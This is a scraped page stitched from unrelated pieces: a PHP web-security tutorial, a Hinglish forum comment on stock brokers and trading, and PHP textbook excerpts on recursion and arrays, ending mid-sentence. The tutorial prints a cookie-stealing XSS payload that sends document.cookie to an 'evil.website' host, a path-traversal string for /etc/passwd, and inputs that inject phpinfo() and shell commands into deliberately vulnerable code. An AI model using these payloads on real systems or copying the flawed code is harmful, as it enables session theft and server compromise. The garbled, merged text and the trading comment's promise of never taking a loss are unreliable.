Full image overview of theme regions with background image
Full image overview of theme regions with plain color
<html>
<?phpif (isset($_GET["value"]))
{
echo "the value you entered : " . $_GET["value"] ;
}?><br />
<br />
<a href="?value=<script src=http://test.codebase.eu/xss.js></script>" >Click here to test for XSS on your browser</a>
<html>
This simple example displays any value you provide it with. If you enter <h3>hello</h3> you will see 'hello' displayed. But the page also reads the html tags and therefore display 'hello' in a larger fontsize.
phpfile.php?value=<script src=http://test.codebase.eu/xss.js> </script>
alert ('Your cookie wil now be posted to the attackers website');
window.location='http://evil.website/cookie_stealer.php?cookie='+document.cookie;
Using the example above, an attacker can make a user go to yourwebsite.com/phpfile.php?value=<script src=http://test.codebase.eu/xss.js> </script> and it will redirect the users browser, stealing the users cookie in the process, to the attackers website.
<html>
<body>
<?phpecho "Page you requested : " . urldecode($_SERVER["REQUEST_URI"]);?><br />
<a href="?value=<SCRIPT SRC=http://test.codebase.eu/xss.js></SCRIPT>"> Click here to test for XSS on your browser</a>
</body>
</html>
Using the phpfile above an URL request like phpfile.php?<script>alert(document.cookie);</script> would give an attacker the possibility to execute scripts.
<?phpif(isset($_GET["message"]))
{$fp = fopen('data.txt', 'w');fwrite($fp, $_GET["message"]);fclose($fp);
}?><form action="" method="get">
Add to the guestbook: <input type="text" name="message" size="60" value="<script src=http://test.codebase.eu/xss.js> </script>" />
<input type="submit" />
</form>
<br />
Guest book data :
<?php include('data.txt');?>
An attacker could now add any javascript code into the guestbook and every visitor that visits the page will run it. This kind of XSS attack is more dangerous and not detectable by browsers.
<img src="<php echo $user_uploaded_image ; ?>" >
$user_uploaded_image to image1.jpg" onClick="alert('Hello!'); will result in the HTML of that page looking like:
<img src="image1.jpg" onClick="alert('Hello!');" >
htmlspecialchars. This function will translate the input and convert characters like & and < into & and < preventing your browser reading those characters as code. You should use this function when you want your users to be able to post tags on your pages. The htmlentities is identical to htmlspecialchars, except ALL characters which can be converted into HTML character entities are converted. I recommend using one of these two functions for input cleaning.
preg_match and preg_replace functions.
setcookie("cookiename", "value", NULL, NULL, NULL, NULL,TRUE);
<?php phpinfo(); ?> , anybody can run any PHP code on your server.
include or require function is always dangerous (specially if you allow remote file inclusions). Look at the following example:
<?php
$language = $_GET['language'] ;
include( $language );?>
../../../../../../../../etc/passwd and read your passwd file or any file that is readable by your webserver on your server.
<?php
$fp = fopen("file.ext", "w");
$userdata=$_GET['user_input'];
fwrite($fp, "<?php \$usr='$userdata'; ?>");
fclose($fp);
include ('file.ext');
echo "the user data is : $usr";
?>
phpfile.php?user_input=hello'%20;%20phpinfo()%20;%20$dummyvar='foobar and $userdata will still be "hello" , but also phpinfo(); is executed (to make the PHP code execute correctly, %20$dummyvar='foobar is added).
<?php
highlight_file ($_GET['arg3'])passthru("echo " . $_GET['arg2']);$myvar = 'some_value';$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');?>
phpfile.php?arg=phpinfo();&arg2=hello ;ls /etc&arg3=phpfile.php
|
Is Bazar me sab chor baithe huye hai ... ab yeh aap par nirbhar
karta hai ki aap kitna bach paate hai... mai bhee share baazaar me
nivesh/trade karta hoon... in sab choro se bachne kaa sabse achha
tareeka yah hai ki aap unse apane trade sambandhit saari jaankari le
bhale hi iski jaroorat aapko ho yaa naa ho... aur yadi ve koi jankari
dene me aaana- kaani kare to in logoko RTI ki dhamaki de ... itne me
to yah log raste par aa jaate hai... shuruvaat me account kholne ke baad inka vyavhaar badal jaataa hai, aap sab ne mahsoos kiyaa hoga to aap apna bhee vyvhaar badal de, hamesha in se jara Rude hokar baate kare.... lekin account kholane ke pahle aap kuchh baate sunishchit kar le.... 1. kabhi bhi DIAL & TRADE jaisi koi suvidhaa ke chakkar me naa pade ( agar aap TRADER ho to ) 2. kam Brokerage hamesha suvidhaajanak nahee hoti... 3. in logo se T+1,2,3,4,5 , MARGIN aur M2M ke matlab pooch aur samajh le... 4. kabhi bhi jara si bhi dikkat ho to inke Branch/Area/ Regional/Zonal Head ke pass jaakar use Hadkane me jara bhee deri nahi kare( jab yeh log aapse beimaani karne me nahi darte hai to aap apane paise ke liye ladne me bhi naa dare " fir is baat ka koi farak nahee padhta hai ki yeh HARD EARNED MONEY yaa EASY EARNED MONEY " aakhirkaar yah aapki hi hai..... 5. yadi aap Online Trading kare to DIET ODIN jaisa hi koi software le... aapake broadband par yah VSAT ki tulna me keval 1/3 seconds ki deri se hi utaar- chadaav ( fluctuation) dikhataa hai ... jabaki koi doosri Browser Based application 2-3 seconds se lekar 5 minutes tak ki deri karti hai .... bhale hi woh ICICI Direct , Relaince Money ka INSTATRADE, Kotat kaa KEAT ho yaa fir Angel walo ka ANGEL TRADE .... Vaise yah jo DIETODIN software hai yah wahi soft ware hai jo aap kisi bhi Broker ki Screen par Lal Neele utar chadavo ke sath dekhte hai... meri jaankaare ke anusaar abhi keval Angel Broking waale hi yah software de rahe hai par isake liye 2-3 hajaar / mahine ki kam se kam brokerage ki maang karte hai ... 6. kabhee bhee in logo ke BTST calls par dhyan naa de... yah sirf Brokerage Banane ki chaal hoti hai .... 7. FINALLY & MOST IMPORTANTLY , BUSINESS NEWS channel sabase bade chor hai, in Business News Channels par recommend kiye gaye Stocks par kabhi bhi apna paisa naa lagaye .... yah �aksar� keval unhi counters ki baate karte hai jo ki chal chuke hote hai... inki baat sunkar aap keval oopari staro par apna paisa fansa sakte hai aur kuchh nahi kar sakte hai... PAISA KAMANE KAA SABASE SAHI TARIKA :- Jab bhi koi Counter jaise Relaince , L& T , BHEL, ONGC, GAIL ,RCOM yaa aapaki pasand kaa koi bhi Counter jaise ki meri pasand NTPC , DLF, SAIL aur TTML hai ..... 3 se 10 % tak Correct ho jaave to us par apne paas uplabdh kul 40% pasia hi lagaye, aur yadi aapaka share 10% aur neeche aata hai to 35 % paisa aur lagaye... aur intzaar kare ... aap kabhi bhi ghata nahi kaatenge... PAISA NAA GAVANE KAA SABASE SAHI TARIKA :- aap yadi F& O me Trade karna chahate hai to kabhi bhi haa kabhi bhi kisi bhi Position ko carry naa kare bhale hi woh ASHOK LEYLAND hi kyu naa ho ( Jiska Span Margin 55 000 se 65000 hi hai) JAB TAK KI AAPKE ACCOUNT ME 5 LAKH Rs naa ho ... baat badi ajeeb lagati hai lekin mera Ganit to yahi kahta hai... aur Cash Market me bhi Nivesh aur Trade karte samay ho sake to KAM se KAM 1 lakh Rs. se Nivesh /Trade kare... kyuki har jagah ki tarah yaha bhi SAARI BADI MACHHLIYA CHOTI MACHHLIYO PAR HI PALTI HAI.... PS: ho sake to kisi Retail Niveshak/ traders ke samooh ke sadasya ban jaaye jisase aapka partyaksh sampark ho... aur har 3-4 din me SEBI ki website par jaate rahe ( bhale hi yah kitni hi dheemi khule) |
function fact($n) {
if ($n === 0) { // our base case
return 1;
} else {
return $n * fact($n-1); // <--calling itself.
}
}
Figure 3.3 We can store more information about Bob's products in a
two- dimensional array.$products = array( array( 'TIR', 'Tires', 100 ),
array( 'OIL', 'Oil', 10 ),
array( 'SPK', 'Spark Plugs', 4 ) );
You can see from this definition that our products array now contains three
arrays.echo '|'.$products[0][0].'|'.$products[0][1].'|'.$products[0][2].'|<br />'; echo '|'.$products[1][0].'|'.$products[1][1].'|'.$products[1][2].'|<br />'; echo '|'.$products[2][0].'|'.$products[2][1].'|'.$products[2][2].'|<br />';Alternatively, we could place a for loop inside another for loop to achieve the same result.
for ( $row = 0; $row < 3; $row++ )
{
for ( $column = 0; $column < 3; $column++ )
{
echo '|'.$products[$row][$column];
}
echo '|<br />';
}
Both versions of this code produce the same output in the browser:|TIR|Tires |100| |OIL|Oil |10 | |SPK|Spark Plugs|4 |The only difference between the two examples is that your code will be shorter if you use the second version with a large array.
$products = array( array( Code => 'TIR',
Description => 'Tires',
Price => 100
),
array( Code => 'OIL',
Description => 'Oil',
Price => 10
),
array( Code => 'SPK',
Description => 'Spark Plugs',
Price =>4
)
);
This array is easier to work with if you want to retrieve a single value. It
is easier to remember that the description is stored in the Description column
than to remember that it is stored in column 1. Using associative arrays, you do
not need to remember that an item is stored at [x][y]. You can easily find your
data by referring to a location with meaningful row and column names.for ( $row = 0; $row < 3; $row++ )
{
echo '|'.$products[$row]['Code'].'|'.$products[$row]['Description'].
'|'.$products[$row]['Price'].'|<br />';
}
Using a for loop, we can step through the outer, numerically indexed
$products array. Each row in our $products array is an
associative array. Using the each() and list() functions in
a while loop, we can step through the associative arrays. Therefore, we
need a while loop inside a for loop.for ( $row = 0; $row < 3; $row++ )
{
while ( list( $key, $value ) = each( $products[ $row ] ) )
{
echo "|$value";
}
echo '|<br />';
}
We do not need to stop at two dimensions—in the same way that array
elements can hold new arrays, those new arrays in turn can hold more arrays.
Figure 3.4 This three-dimensional array allows us to divide products into
categories.$categories = array( array ( array( 'CAR_TIR', 'Tires', 100 ),
array( 'CAR_OIL', 'Oil', 10 ),
array( 'CAR_SPK', 'Spark Plugs', 4 )
),
array ( array( 'VAN_TIR', 'Tires', 120 ),
array( 'VAN_OIL', 'Oil', 12 ),
array( 'VAN_SPK', 'Spark Plugs', 5 )
),
array ( array( 'TRK_TIR', 'Tires', 150 ),
array( 'TRK_OIL', 'Oil', 15 ),
array( 'TRK_SPK', 'Spark Plugs', 6 )
)
);
Because this array has only numeric indices, we can use nested for
loops to display its contents.for ( $layer = 0; $layer < 3; $layer++ )
{
echo "Layer $layer<br />";
for ( $row = 0; $row < 3; $row++ )
{
for ( $column = 0; $column < 3; $column++ )
{
echo '|'.$categories[$layer][$row][$column];
}
echo '|<br />';
}
}
Because of the way multidim